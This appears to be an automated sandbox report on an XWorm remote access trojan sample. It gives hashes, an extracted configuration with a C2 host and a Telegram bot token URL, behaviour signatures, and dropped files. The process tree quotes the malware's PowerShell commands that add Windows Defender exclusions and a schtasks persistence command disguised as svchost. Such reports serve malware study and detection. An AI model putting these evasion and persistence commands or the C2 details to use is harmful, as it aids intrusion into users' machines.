Resubmissions

27/01/2025, 20:41

250127-zgfs3svqbp 10

27/01/2025, 20:36

250127-zdvstsvkcy 10

27/01/2025, 20:32

250127-zbph2avnfr 10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2025, 20:36

General

  • Target

    XClient.exe

  • Size

    49KB

  • MD5

    9cda258445b322eb90f65b32ba86d86c

  • SHA1

    d86a39dcc80db9cef23fc389dbbb6951ed7f908c

  • SHA256

    0aca70f4574b4f593ad118de1846cb744eed48473a8fd51759c37e508d44e50f

  • SHA512

    f76c77b63b6e881cd6e9a436b5efe5e4a45a8e78126fcc6876ec6855ef2572ba7e9dec7200e32ddca78f232d451305f87729ee5989f3c8ed83cde53d132a1d9a

  • SSDEEP

    768:DaT5ryS4lEW64POSn1iQK4kb2UULNwLdVvM6wEO1hEjdoHj:GNrH+EWR5rkbzeNivM6wEO1yaj

Malware Config

Extracted

Family

xworm

C2

sponef159-35748.portmap.host:35748

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

  • telegram

    https://api.telegram.org/bot7508868671:AAG6XIOhz39IrQIUnjub1TKVOVZHfdjpsvM/sendMessage?chat_id=6094400048

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Modifies Control Panel 3 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 7 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Enumerates connected drives
    • Modifies Control Panel
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4248
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4532
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\x2a43gks\x2a43gks.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE12.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc915BF5E68913451E8B99C3C2646776D.TMP"
        3⤵
          PID:772
      • C:\Windows\SYSTEM32\MsiExec.exe
        MsiExec.exe /X{E634F316-BEB6-4FB3-A612-F7102F576165}
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1088
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        2⤵
        • Modifies registry class
        PID:1632
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM explorer.exe
        2⤵
        • Kills process with taskkill
        PID:4236
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4592
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:224
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4472
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7B13B1A5558266C39C98AE201B3672BA
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1048
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x4cc 0x47c
      1⤵
        PID:5064
      • C:\Users\Admin\AppData\Roaming\svchost.exe
        C:\Users\Admin\AppData\Roaming\svchost.exe
        1⤵
        • Executes dropped EXE
        PID:2044

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Config.Msi\e59482d.rbs

              Filesize

              132KB

              MD5

              a6ff12cda533f54deaf889c3a7b8f37c

              SHA1

              49acd5dd55c746e06d27e89bf8a59102ec7d5f5a

              SHA256

              812d866d383b7bf291e7e8ba0d51a9f8e313fe59e6ccf253a19a36c2ac0d6c9d

              SHA512

              bfcdd1f8bd7401fa8f4f8e531ce5078dfaab40c09c8c58e0c844318841d67b3a369d002ebf37e10a17d57db5d7acc07a17c27b51f6c82cc825bf522e19addc76

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

              Filesize

              654B

              MD5

              2ff39f6c7249774be85fd60a8f9a245e

              SHA1

              684ff36b31aedc1e587c8496c02722c6698c1c4e

              SHA256

              e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

              SHA512

              1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              77d622bb1a5b250869a3238b9bc1402b

              SHA1

              d47f4003c2554b9dfc4c16f22460b331886b191b

              SHA256

              f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

              SHA512

              d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              dd1d0b083fedf44b482a028fb70b96e8

              SHA1

              dc9c027937c9f6d52268a1504cbae42a39c8d36a

              SHA256

              cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c

              SHA512

              96bec38bfda176292ae65dcf735103e7888baa212038737c1d1e215fcb76e4c0355e4a827a1934303e7aecae91012fa412f13e38f382b732758bae985cc67973

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              a2c8179aaa149c0b9791b73ce44c04d1

              SHA1

              703361b0d43ec7f669304e7c0ffbbfdeb1e484ff

              SHA256

              c1d30342a40a2b6e7553da30ceb85754d33820f6fbb3bbbed1ceb30d6390de4a

              SHA512

              2e201dd457d055baad86f68c15bcc7beb48d6dc2ffc10db7f304eb93f697e7b45991cbde857d25da2c9c60c23f3e13df8b5ed5809c1753737a23096e296cc9e3

            • C:\Users\Admin\AppData\Local\Temp\RESFE12.tmp

              Filesize

              1KB

              MD5

              8fb4301129fe0f1a3b35b5dd05c127a2

              SHA1

              c986ca145bad18173ffc71d173b8ce6abf1fa635

              SHA256

              2024a34abaaaa7fa9ab56755e43261a9e3c3bc63862b44e6f5f2155ef331efa0

              SHA512

              40cc186e92fd695733214caaead985367e2434c24d43883ff150689f8119b71c3a5d25b6f01cc96b12271a9b51dca7bda6de45ce376844b7945e78f1f6240c21

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_swra0tws.13t.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\vbc915BF5E68913451E8B99C3C2646776D.TMP

              Filesize

              1KB

              MD5

              93779ba521d39dc43180dd5b7f627a2f

              SHA1

              1b5b89b07d5e169cfbbd96c1207ae92575f60839

              SHA256

              fe18c950997a788bcc4fd55118e2c01c1f92e8bca6d2129b0a173b379e2ed905

              SHA512

              f0c0aa92cf8240f859a00302c1a37a324c4833bebc1cf5b22f49a5cad3fb34f47cd0a758f287d6c4ee692bb691fed3fdd84c9724a8618232362dc87c5ea21887

            • C:\Users\Admin\AppData\Local\Temp\x2a43gks\x2a43gks.0.vb

              Filesize

              386B

              MD5

              156a4b3e570d9c7efc0f0094dbceb24e

              SHA1

              ccd7e470b9114884d6e958ab4d8b4c451f493c66

              SHA256

              7443a1bcd15924a389e5da2a0530b6703a35aed61e63cd1a1d7d0699d49a5a77

              SHA512

              90123975819cc2fc3030f94cc8bfce587e8c7efcca8c7ac8a1e99c5f3211c0a50fe16994836fb46fcb3a68b2157259a59f7a5928c19bba2fc3cb4059ecc8efa2

            • C:\Users\Admin\AppData\Local\Temp\x2a43gks\x2a43gks.cmdline

              Filesize

              313B

              MD5

              414cc7f540be2a73c503d00510396284

              SHA1

              f061a0b6d84b176bb7ac8d34a721079a4ebf9155

              SHA256

              27f93a324e97e74ec2c5f4ece3c14d85e8e8c5d259188bb0e13ead03ee8c6028

              SHA512

              01d7c3176184a5776332a5c97ab19f4ce4b2bb87c64b752f500736a3a6e1f1121640b31c46eee8a091a84acf8518d66ea2e59d1728e62d1842171800204d7f98

            • C:\Users\Admin\AppData\Local\Temp\x2a43gks\x2a43gks.exe

              Filesize

              6KB

              MD5

              f735867fd69436bf3e3d9050b63b40b3

              SHA1

              a104ac2851e30a0b2f8bce493b86e04720c56b45

              SHA256

              cd8dbd313e578535d66fb41dcba898be2dff17bfccaca495dca09f52bca13a46

              SHA512

              eb6e7aed1001ba6b2a2906e4c8217ce7152a927f23d10ffc4e3fddc007f447fa956118b76473ed83033c0d64e6dd32b8a5e20ec22d088ebe9bf4286f2b1861a0

            • C:\Users\Admin\AppData\Roaming\svchost.exe

              Filesize

              49KB

              MD5

              9cda258445b322eb90f65b32ba86d86c

              SHA1

              d86a39dcc80db9cef23fc389dbbb6951ed7f908c

              SHA256

              0aca70f4574b4f593ad118de1846cb744eed48473a8fd51759c37e508d44e50f

              SHA512

              f76c77b63b6e881cd6e9a436b5efe5e4a45a8e78126fcc6876ec6855ef2572ba7e9dec7200e32ddca78f232d451305f87729ee5989f3c8ed83cde53d132a1d9a

            • C:\Windows\Installer\MSI4760.tmp

              Filesize

              225KB

              MD5

              d711da8a6487aea301e05003f327879f

              SHA1

              548d3779ed3ab7309328f174bfb18d7768d27747

              SHA256

              3d855b58ce7da9f24f1bef8d0673ba4a97105a7fd88433de7fb4e156b4306283

              SHA512

              c6d1c938e8a0acf080dcab1276d78237e342a98772e23ac887b87a346878c376fb0af8364e52a36c5b949005aa3218308bc6193f8b580f622ef39d9955c7c681

            • C:\Windows\Installer\MSI4C14.tmp

              Filesize

              133KB

              MD5

              4c243138e444ab4e21413acd69c6b6b5

              SHA1

              63204dfe68cf108a86c4cab22e2f890c939a5f76

              SHA256

              6438a95c3566eee0577548bdc828180616f21efd2e9143fb316e11d2a16ef7e5

              SHA512

              b285069fd0e1a48f4f2b447247ae184cbfec872182e7e31f88449158008dad13a62971f76515b3b5e9e6c600aa80d7694e2cba03f367396106ccbbb2c4ec5fe9

            • memory/1224-65-0x000000001C420000-0x000000001C42A000-memory.dmp

              Filesize

              40KB

            • memory/1224-82-0x000000001C460000-0x000000001C46A000-memory.dmp

              Filesize

              40KB

            • memory/1224-57-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

              Filesize

              10.8MB

            • memory/1224-105-0x00000000014B0000-0x00000000014BA000-memory.dmp

              Filesize

              40KB

            • memory/1224-56-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

              Filesize

              10.8MB

            • memory/1224-1-0x0000000000E80000-0x0000000000E92000-memory.dmp

              Filesize

              72KB

            • memory/1224-0-0x00007FF9A4C43000-0x00007FF9A4C45000-memory.dmp

              Filesize

              8KB

            • memory/1224-62-0x000000001B990000-0x000000001B99E000-memory.dmp

              Filesize

              56KB

            • memory/1224-80-0x000000001C430000-0x000000001C438000-memory.dmp

              Filesize

              32KB

            • memory/1924-14-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

              Filesize

              10.8MB

            • memory/1924-11-0x000002566AFA0000-0x000002566AFC2000-memory.dmp

              Filesize

              136KB

            • memory/1924-12-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

              Filesize

              10.8MB

            • memory/1924-13-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

              Filesize

              10.8MB

            • memory/1924-17-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

              Filesize

              10.8MB